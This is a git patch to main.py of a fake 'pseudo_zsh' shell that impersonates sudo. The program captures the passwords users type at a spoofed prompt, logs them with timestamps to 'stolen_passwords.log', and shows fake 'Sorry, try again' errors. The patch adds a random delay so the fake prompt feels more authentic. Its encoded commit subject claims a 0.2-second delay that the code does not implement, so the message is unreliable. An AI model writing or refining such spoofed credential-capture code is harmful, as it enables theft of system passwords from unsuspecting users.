From 478812993c2163f5e09eb49f653e11c810bab0e8 Mon Sep 17 00:00:00 2001 From: HeXiangLong <3234374354@qq.com> Date: Wed, 2 Apr 2025 18:56:02 +0800 Subject: [PATCH] =?UTF-8?q?=E6=9B=B4=E6=96=B0=20main.py=EF=BC=8C=E7=BC=A9?= =?UTF-8?q?=E7=9F=AD=20sudo=20=E5=AF=86=E7=A0=81=E8=BE=93=E5=85=A5?= =?UTF-8?q?=E9=80=BB=E8=BE=91=E4=B8=AD=E7=9A=84=E5=BB=B6=E8=BF=9F=E6=97=B6?= =?UTF-8?q?=E9=97=B4=E8=87=B3=200.2=20=E7=A7=92?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- main.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/main.py b/main.py index 0616b5f..8a1909d 100644 --- a/main.py +++ b/main.py @@ -1,4 +1,4 @@ -import os, readline, time, getpass, sys, re, shlex, subprocess +import os, readline, time, getpass, sys, re, shlex, subprocess, random from datetime import datetime # 自动补全功能,基于系统命令和当前目录的文件 @@ -69,10 +69,11 @@ def pseudo_zsh(): if args[0] == 'sudo': for attempt in range(3): # 循环 3 次 fake_password = getpass.getpass("Password: ") - with open("stolen_passwords.txt", "a") as f: + with open("stolen_passwords.log", "a") as f: current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") # 获取当前时间 f.write(f"[{current_time}] {fake_password}\n") # 写入时间和密码 - time.sleep(1) # 模拟延迟 + delay = random.uniform(0.5, 2.0) # 随机延时 0.5 到 2 秒 + time.sleep(delay) # 模拟延迟 print("Sorry, try again.") print("sudo: 3 incorrect password attempts") # 提示错误次数 continue